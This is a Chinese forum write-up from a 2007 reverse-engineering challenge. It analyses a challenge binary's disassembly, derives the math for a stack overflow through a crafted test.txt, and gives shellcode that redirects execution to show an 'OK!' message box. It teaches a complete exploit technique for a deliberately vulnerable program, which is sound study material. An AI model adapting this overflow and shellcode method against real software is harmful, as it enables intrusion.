[原创]第二阶段第一题分析(看雪金山2007逆向分析挑战赛)-软件逆向-看雪-安全社区|安全招聘|kanxue.com

[原创]第二阶段第一题分析(看雪金山2007逆向分析挑战赛)

发表于: 2007-8-30 12:16 6838

[原创]第二阶段第一题分析(看雪金山2007逆向分析挑战赛)

blackeyes

2007-8-30 12:16

6838

【原创】第二阶段第一题分析(看雪金山2007逆向分析挑战赛)

1.)    OD 载入, 点 Exploit 按钮, 到下面的处理代码

004002F6  /$  55          push ebp
004002F7  |.  8BEC       mov    ebp, esp
004002F9  |.  83EC 10    sub    esp, 10
004002FC  |.  56          push esi
004002FD  |.  57          push edi
004002FE  |.  33FF       xor    edi, edi
00400300  |.  8D4D F0    lea    ecx, dword ptr [ebp-10]
00400303  |.  33F6       xor    esi, esi
00400305  |.  897D FC    mov    dword ptr [ebp-4], edi
00400308  |.  897D F8    mov    dword ptr [ebp-8], edi
0040030B  |.  E8 60010000 call 00400470
00400310  |.  68 6C024000 push 0040026C                      ;  ASCII "test.txt"
00400315  |.  8D4D F0    lea    ecx, dword ptr [ebp-10]
00400318  |.  E8 63010000 call 00400480                      ; 打开文件, 取得文件长度
0040031D  |.  85C0       test eax, eax
0040031F  |.  74 64       je    short 00400385                ; 不存在, 跳去显示 Fail!
00400321  |.  8D45 FC    lea    eax, dword ptr [ebp-4]
00400324  |.  8D4D F0    lea    ecx, dword ptr [ebp-10]
00400327  |.  50          push eax
00400328  |.  E8 D3010000 call 00400500                      ; 取文件长度
0040032D  |.  85C0       test eax, eax
0040032F  |.  74 54       je    short 00400385
00400331  |.  8B4D FC    mov    ecx, dword ptr [ebp-4]
00400334  |.  83F9 08    cmp    ecx, 8                         ; 长度要大于8
00400337  |.  7E 4C       jle    short 00400385
00400339  |.  B8 00100000 mov    eax, 1000                      ; 长度要小于0x1000
0040033E  |.  3BC8       cmp    ecx, eax
00400340  |.  7F 43       jg    short 00400385
00400342  |.  6A 40       push 40                            ; /Protect = PAGE_EXECUTE_READWRITE
00400344  |.  41          inc    ecx                            ; |
00400345  |.  50          push eax                            ; |AllocationType => MEM_COMMIT
00400346  |.  51          push ecx                            ; |Size
00400347  |.  57          push edi                            ; |Address
00400348  |.  FF15 24024000 call dword ptr [<&KERNEL32.VirtualAll>; \VirtualAlloc
0040034E  |.  8BF0       mov    esi, eax                      ; 设地址为XXXXXXXX
00400350  |.  3BF7       cmp    esi, edi
00400352  |.  74 31       je    short 00400385
00400354  |.  8D45 F8    lea    eax, dword ptr [ebp-8]
00400357  |.  53          push ebx
00400358  |.  50          push eax
00400359  |.  56          push esi
0040035A  |.  FF75 FC    push dword ptr [ebp-4]
0040035D  |.  8D4D F0    lea    ecx, dword ptr [ebp-10]
00400360  |.  E8 AB010000 call 00400510                      ; ReadFile(...) to XXXXXXXX
00400365  |.  8D4D F0    lea    ecx, dword ptr [ebp-10]
00400368  |.  8BD8       mov    ebx, eax
0040036A  |.  E8 61010000 call 004004D0                      ; CloseHandle(...)
0040036F  |.  3BDF       cmp    ebx, edi
00400371  |.  5B          pop    ebx
00400372  |.  74 11       je    short 00400385
00400374  |.  8B45 FC    mov    eax, dword ptr [ebp-4]
00400377  |.  3945 F8    cmp    dword ptr [ebp-8], eax
0040037A  |.  75 09       jnz    short 00400385
0040037C  |.  50          push eax                            ; 地址XXXXXXXX入栈
0040037D  |.  56          push esi                            ; 长度入栈
0040037E  |.  E8 FDFEFFFF call 00400280                      ; 文件数据处理, F7!!!!
00400383  |.  59          pop    ecx                            ; 没有溢出返回这里
00400384  |.  59          pop    ecx
00400385  |>  57          push edi                            ; /Style
00400386  |.  68 68024000 push 00400268                      ; |Title = "Try"
0040038B  |.  68 60024000 push 00400260                      ; |Text = "Failed!"
00400390  |.  57          push edi                            ; |hOwner
00400391  |.  FF15 4C024000 call dword ptr [<&USER32.MessageBoxA>>; \MessageBoxA
00400397  |.  8D4D F0    lea    ecx, dword ptr [ebp-10]       ; 显示MessageBoxA后从这里继续执行
0040039A  |.  E8 31010000 call 004004D0
0040039F  |.  3BF7       cmp    esi, edi
004003A1  |.  74 0D       je    short 004003B0
004003A3  |.  68 00800000 push 8000                            ; /FreeType = MEM_RELEASE
004003A8  |.  57          push edi                            ; |Size
004003A9  |.  56          push esi                            ; |Address
004003AA  |.  FF15 20024000 call dword ptr [<&KERNEL32.VirtualFre>; \VirtualFree
004003B0  |>  8D4D F0    lea    ecx, dword ptr [ebp-10]
004003B3  |.  E8 38010000 call 004004F0
004003B8  |.  6A 01       push 1
004003BA  |.  58          pop    eax
004003BB  |.  5F          pop    edi
004003BC  |.  5E          pop    esi
004003BD  |.  C9          leave
004003BE  \.  C3          retn

2.)    文件数据处理:

00400280  /$  55          push ebp
00400281  |.  8BEC       mov    ebp, esp
00400283  |.  83EC 2C    sub    esp, 2C                         ; 局部变量大小只有 0x2C
00400286  |.  8065 D4 00 and    byte ptr [ebp-2C], 0
0040028A  |.  56          push esi
0040028B  |.  57          push edi
0040028C  |.  6A 0A       push 0A
0040028E  |.  59          pop    ecx
0040028F  |.  33C0       xor    eax, eax
00400291  |.  8D7D D5    lea    edi, dword ptr [ebp-2B]
00400294  |.  837D 0C 00 cmp    dword ptr [ebp+C], 0
00400298  |.  F3:AB       rep    stos dword ptr es:[edi]
0040029A  |.  66:AB       stos word ptr es:[edi]
0040029C  |.  AA          stos byte ptr es:[edi]
0040029D  |.  7C 51       jl    short 004002F0

0040029F  |.  8B75 08    mov    esi, dword ptr [ebp+8]
004002A2  |.  68 A802CC78 push 78CC02A8
004002A7  |.  68 1B8F9469 push 69948F1B
004002AC  |.  FF76 04    push dword ptr [esi+4]             ; 文件的4,5,6,7 BYTE
004002AF  |.  FF36       push dword ptr [esi]                ; 文件的0,1,2,3 BYTE
004002B1  |.  E8 0A030000 call 004005C0                      ; U64 整数的乘法

// 即 HHHHHHHHLLLLLLLL = b7b6b5b4b3b2b1b0 * 0x78CC02A869948F1B

004002B6  |.  68 82FFE65B push 5BE6FF82
004002BB  |.  68 854716A5 push A5164785
004002C0  |.  52          push edx
004002C1  |.  50          push eax
004002C2  |.  E8 79020000 call 00400540                      ; U64 整数的取模

// 即 MMMMMMMMmmmmmmmm = HHHHHHHHLLLLLLLL % 0x5BE6FF82A5164785

004002C7  |.  6A 04       push 4
004002C9  |.  8BCE       mov    ecx, esi
004002CB  |.  5F          pop    edi
004002CC  |>  8031 1C    /xor    byte ptr [ecx], 1C             ; 前 8 Byte 变换
004002CF  |.  8A11       |mov    dl, byte ptr [ecx]
004002D1  |.  3051 01    |xor    byte ptr [ecx+1], dl
004002D4  |.  41          |inc    ecx
004002D5  |.  41          |inc    ecx
004002D6  |.  4F          |dec    edi
004002D7  |.^ 75 F3       \jnz    short 004002CC

// 相当于如下C代码
for (i=0;i<8;i+=2)
{
buffer[i] ^= 0x1C;
buffer[i+1] ^= buffer[i];
}

004002D9  |.  6A 1A       push 1A
004002DB  |.  59          pop    ecx                            ; ECX = 1A
004002DC  |.  2BC8       sub    ecx, eax                      ; EAX 为整数取模后的低 32bit
004002DE  |.  0FAFC8       imul ecx, eax
004002E1  |.  81E9 9C000000 sub    ecx, 9C

// 即 ECX = (0x0000001A - mmmmmmmm) * mmmmmmmm - 0x0000009C

004002E7  |.  85C9       test ecx, ecx                      ; 得到一值ECX
004002E9  |.  7E 05       jle    short 004002F0
004002EB  |.  8D7D D4    lea    edi, dword ptr [ebp-2C]
004002EE  |.  F3:A5       rep    movs dword ptr es:[edi], dword ptr [esi] ; 溢出点, ECX>=0D 时, 返回地址会被覆盖
004002F0  |>  5F          pop    edi
004002F1  |.  33C0       xor    eax, eax
004002F3  |.  5E          pop    esi
004002F4  |.  C9          leave
004002F5  \.  C3          retn                                  ; 正常返回0x00400383, 溢出返回其它地址

3.)    在004002EE时的堆栈如下:

0012FC50 00000000 // saved_old_edi
0012FC54 008E0000 // saved_old_esi
0012FC58 00000000 // 局部变量, 从XXXXXXXX COPY ECX 个 DWORD 到这
0012FC5C 00000000 // 局部变量
0012FC60 00000000 // 局部变量
0012FC64 00000000 // 局部变量
0012FC68 00000000 // 局部变量
0012FC6C 00000000 // 局部变量
0012FC70 00000000 // 局部变量
0012FC74 00000000 // 局部变量
0012FC78 00000000 // 局部变量
0012FC7C 00000000 // 局部变量
0012FC80 00000000 // 局部变量
0012FC84  /0012FCAC // saved_old_ebp
0012FC88  |00400383 // 返回地址
0012FC8C  |008E0000 // parameter1, 即动态分配的地址XXXXXXXX
0012FC90  |00000033 // parameter2, 文件长度
0012FC94  |00000111 // 调用程序的栈

4.)  要溢出成功, 可把返回地址覆盖成004002F5, 这样, 就会返回004002F5, 再执行004002F5的retn 就回到动态分配的地址XXXXXXXX执行

先解如下方程:

ECX = (0x0000001A - mmmmmmmm) * mmmmmmmm - 0x0000009C
0x0000000D <= ECX <= 0x0000000F

用如下C程序计算:

unsigned int i, c;
for(i=0;i!=0xffffffff;i++) {
c = (0x1A - i) * i - 0x9C;
if (c>=0x0D && C<= 0x0F) {
      printf("mmmmmmmm=%08X ECX=%08X\n", i, c);
}
}

结果ECX=0000000D, mmmmmmmm=????000D
即mmmmmmmm 高16bit可任意, 低16bit为000D, 结果总是0000000D

5.)  再解如下方程:

  HHHHHHHHLLLLLLLL = b7b6b5b4b3b2b1b0 * 0x78CC02A869948F1B          // (a)

  HHHHHHHHLLLLLLLL % 0x5BE6FF82A5164785 = MMMMMMMM????000D          // (b)

  当 HHHHHHHHHLLLLLLLL

为从 0x0000000000000000 到 0x5BE6FF82A5164784 时, 模 = HHHHHHHHLLLLLLLL, 即 LLLLLLLL = ????000D

为从 0x5BE6FF82A5164785 到 0xB7CDFF054A2C8F09 时, 模 = HHHHHHHHLLLLLLLL - 0x5BE6FF82A5164785, 即 LLLLLLLL = ????4792

为从 0xB7CDFF054A2C8F0A 到 0xFFFFFFFFFFFFFFFF 时, 模 = HHHHHHHHLLLLLLLL - 0xB7CDFF054A2C8F0A, 即 LLLLLLLL = ????8F17

  结果: LLLLLLLL的低16bit 只能是 0x000D, 0x4792, 或 0x8F17

  用如下C程序计算解方程(a):

unsigned int i, l;
for(i=0;i!=0xffffffff;i++) {
l = (i * 0x69948F1B) & 0xFFFF;
if (l==0x0D || l==0x4792 || l== 0x8F17) {
      printf("b3b2b1b0=%08X,LLLLLLLL=%08X\n", i, l);
}
}

结果:

  b3b2b1b0=????97F7,LLLLLLLL=????000D
  b3b2b1b0=????65D6,LLLLLLLL=????4792
  b3b2b1b0=????33B5,LLLLLLLL=????8F17

即b0, b1 只能是如下三组中的数据之一: {F7, 97}, {D6, 65}, {B5, 33},

5.) 将三组数据进行如下变换:

004002CC  |> /8031 1C    /xor    byte ptr [ecx], 1C
004002CF  |. |8A11       |mov    dl, byte ptr [ecx]
004002D1  |. |3051 01    |xor    byte ptr [ecx+1], dl
004002D4  |. |41          |inc    ecx
004002D5  |. |41          |inc    ecx
004002D6  |. |4F          |dec    edi
004002D7  |.^\75 F3       \jnz    short 004002CC

再用OD看反汇编结果, 如下:

// F7, 97 ==> EB, 7C // JMP short $+80
// D6, 65 ==> CA, AF // retf xxxxxxxx
// B5, 33 ==> A9, 9A // test eax, xxxxxxxx

EB, 7C 将使file长度至少为128 byte, 现在只讨论决定A9, 9A, 使文件最小

6.) 设变换后的代码为

008E0000 A9 9Axxyyzz test eax, zzyyxx9A
008E0005 90          nop
008E0006 EB 04       jmp  short $+06

先将zz定为90, 这样由变换规则可确定d0-d7如下:
{B5, 33, ??, ??, 8C, 00, F7, EF}

只有16bit未知, 编一小程序, 循环65536次, 使等式(a), (b) 成立, 有一组解就行

7.) 然后就是写代码, 显示 OK!, 返回, 还能正确执行, 代码如下:

008E0000 A9 9A4C4C90    test eax, 904C4C9A
008E0005 90             nop
008E0006 EB 04          jmp    short 008E000C
008E0008 4F 4B 21 00                            ; "OK!"
008E000C E8 00000000    call 008E0011
008E0011 5D             pop    ebp
008E0012 8BC5          mov    eax, ebp
008E0014 83E8 09       sub    eax, 9
008E0017 6A 00          push 0
008E0019 50             push eax
008E001A 50             push eax
008E001B 6A 00          push 0
008E001D FF15 4C024000 call dword ptr [<&USER32.MessageBoxA>]                ; USER32.MessageBoxA
008E0023 8BEC          mov    ebp, esp
008E0025 C745 00 9703400>mov    dword ptr [ebp], 400397
008E002C 83C5 1C       add    ebp, 1C
008E002F C3             retn
008E0030 F5 02 40 00                            ; DWORD 004002F5